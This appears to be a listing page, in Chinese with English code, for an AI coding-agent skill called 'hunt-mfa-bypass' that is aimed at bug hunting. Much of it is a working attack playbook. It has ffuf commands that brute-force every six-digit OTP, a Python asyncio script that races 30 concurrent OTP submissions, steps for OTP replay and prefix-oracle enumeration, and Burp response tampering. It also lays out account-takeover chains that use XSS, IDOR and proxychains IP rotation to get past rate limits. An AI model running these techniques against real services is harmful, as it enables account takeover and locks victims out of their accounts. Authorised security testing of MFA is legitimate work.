关于 hunt-mfa-bypass
hunt-mfa-bypass 是用于发现多因素认证流程弱点的安全测试技能。它优先检查跳过流程、OTP 重放和验证缺陷,并涵盖相关绕过模式。
主要功能
- 01测试跳过 MFA 流程步骤
- 02检查 OTP 重放与验证行为
- 03识别部分响应泄露的 OTP 预言机
- 04涵盖速率限制、竞态和备用码
- 05将绕过测试关联到其他安全技能
适用场景
- 01检查 MFA 前会话能否访问受保护数据
- 02测试已使用的 OTP 是否可再次接受
- 03评估响应是否泄露正确的 OTP 前缀
- 04检查备用码复用与 MFA 验证竞态
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-mfa-bypass安装后在 Claude Code 中输入/hunt-mfa-bypass确认已加载。
详细介绍
自主测试优先级
先尝试绕过工作流,再尝试暴力破解——前者更快,也更有可能成功。
模式 1 — 完全跳过 MFA 步骤(最容易自动化):
- 使用有效凭据登录 → 获得「MFA 前」会话状态
- 不完成 MFA,直接访问受保护的资源(
/dashboard、/api/me、/account/profile) - 如果响应返回用户数据 → MFA 仅在 UI 中强制执行,而非在服务器端强制执行 = 严重
模式 2 — 重放 OTP(重用已使用的代码):
- 完成有效的 MFA 流程,获取可用的 OTP
- 登出,然后使用相同凭据再次登录
- 再次提交相同的 OTP
- 如果被接受 → OTP 使用后未失效
模式 3 — 提交明显错误的 OTP,观察响应:
尝试提交 000000 或 123456。如果响应状态为 200 或返回会话令牌,则 OTP 验证已失效或仅在客户端进行。
模式 4 — 部分 / 增量验证(前缀预言机): 如果猜测的完整代码被拒绝,请测试服务器是否按前缀逐位验证 OTP,而不是一次性整体验证。提交较短的部分代码并比较响应:
- 提交 1–3 位数字(例如
otp=1,然后otp=12,依此类推)——对于 POST 验证端点,代码应放在请求正文中,而不是 URL 查询字符串中,否则服务器会读取到空值。 - 如果正确前缀与错误前缀的响应不同(成功 / 标记、不同的消息,或不同的长度 / 耗时),则验证器会逐段泄露正确性。
- 逐位遍历代码:保留「响应正确」的前缀,追加 0–9,然后重复。这样可将 10^6 次暴力猜测缩减至约 10×N 次(6 位代码最多 60 次)——在有限测试中完全可行。
当没有泄露代码,且不存在跳过 / 重放路径时,这是首选方法。有些应用只要任意前缀正确就会判定成功(因此只要第一位正确就可能成功——放弃前,先遍历
otp=0,1,…,9)。 关键 — 始终使用同一个会话: 重新认证(再次 POST /…/login)会重新生成 OTP,导致之前的前缀进度作废。整个遍历过程都应针对同一个已建立的 MFA 会话;猜测之间绝不要重新登录。
关于完整暴力破解: 在有限测试中,暴力尝试全部 10^6 个代码并不可行——但上述前缀预言机(模式 4)通常可以避免这种情况。只有在有证据表明没有速率限制且密钥空间较小时,才尝试完整暴力破解。
证明: 无需完成 MFA,响应中就返回会话令牌或受保护的资源数据,即可确认存在绕过。
19. MFA / 2FA 绕过
日益常见的漏洞类型——有 7 种不同模式。若无需先前会话即可导致账户接管(ATO),风险等级为高 / 严重。
模式 1:OTP 无速率限制
# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
-X POST -H "Content-Type: application/json" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"otp":"FUZZ"}' \
-w <(seq -w 000000 999999) \
-fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban
模式 2:OTP 使用后未失效
1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)
模式 3:响应操纵
1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check
模式 4:跳过 MFA 步骤(工作流绕过)
# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard
模式 5:MFA 验证竞态
import asyncio, aiohttp
async def verify(session, otp):
async with session.post("https://target.com/api/mfa/verify",
json={"otp": otp}) as r:
return r.status, await r.text()
async def race():
cookies = {"session": "YOUR_SESSION"}
async with aiohttp.ClientSession(cookies=cookies) as s:
# Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
# window before the server marks it used. Two requests are NOT enough —
# they almost always resolve sequentially as "already-used" (false negative).
# Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
# Race confirmed if >1 success (or 1 success among many "already-used").
for status, body in results:
print(status, body)
asyncio.run(race())
模式 6:备用代码暴力破解
Backup codes: typically 8 alphanumeric = 36^8 = ~2.8T (too large)
BUT: check if backup codes are only 6-8 digits = 1-10M range = feasible with no rate limit
Also test: can backup codes be reused after exhaustion? Some apps regenerate predictably.
模式 7:「记住此设备」信任升级
1. Complete MFA once on Device A (attacker's browser)
2. Capture the "remember device" cookie
3. Present that cookie from a new IP/browser
4. If MFA skipped = device trust not bound to IP/UA = ATO from any location
MFA 链式升级
Rate limit bypass + no lockout = ATO (Critical)
Response manipulation = client-side only check = Critical
Skip MFA step = auth flow bypass = Critical
OTP reuse = persistent session hijack = High
相关技能与攻击链
hunt-ato— 绕过 MFA 是一种基础手段;ATO 才是最终目的。攻击链基础:窃取 Cookie(通过 XSS 或会话固定)+ 密码验证预言机(登录响应的时间/长度差异会泄露有效密码,且不会触发锁定)+ 修改密码接口不要求再次进行 MFA 验证 = 无需面对 OTP 挑战即可持续控制账户 → 更改密码,攻击者将受害者锁定在账户之外。hunt-race-condition— 模式 5(OTP 竞态)属于竞态条件范畴;同时加载这两项技能。攻击链基础:在服务器将 6 位 OTP 标记为已使用前,通过 20 个并行 HTTP/2 流提交同一个 OTP(使用 Turbo Intruder 发起单包攻击)→ 1 次成功 + 19 次“已使用” → 确认存在竞态窗口 → 攻击者无需暴力破解,只需猜测一次并行提交 → ATO。hunt-auth-bypass— 跳过 MFA 步骤属于工作流层面的认证流程绕过。攻击链基础:密码步骤完成后签发预 MFA Cookie + 直接访问/dashboard,跳过/mfa路由 + 服务器仅对/mfa设置中间件门控,而未对/dashboard设置 = 仅凭密码状态即可获得完整的认证后访问权限 → 路由门控位置错误,导致 MFA 从未得到强制执行。hunt-misc— 通过/api/me泄露恢复码属于杂项类别的信息泄露,串联攻击链后会升级为严重级别。攻击链基础:/api/me返回完整的用户对象,其中包含backup_codes数组(明文存储,且从不轮换)→ 攻击者通过任意读取型 IDOR 或 XSS 窃取备份码 → 使用一个备份码 → 通过 MFA 验证 → 无需知道 OTP 即可实现 ATO。security-arsenal— 提取 OTP 暴力破解载荷章节(000000-999999 字典生成器、使用-t 5 -p 0.5-2的 ffuf 速率限制规避模式、通过 proxychains 轮换分布式 IP),以及 JWT 令牌重放表格,适用于“已通过 MFA”这一声明位于可伪造的 JWT 声明中的情况。triage-validation— 在将仅适用于攻击者已拥有密码时才能生效的 MFA 绕过报告为严重级别之前,先执行严重性预审。独立的 MFA 绕过为高危;与密码验证预言机串联为严重;仅与 Cookie 窃取串联也为严重。判断攻击链的问题可以区分这两种情况。
评论
支持 Markdown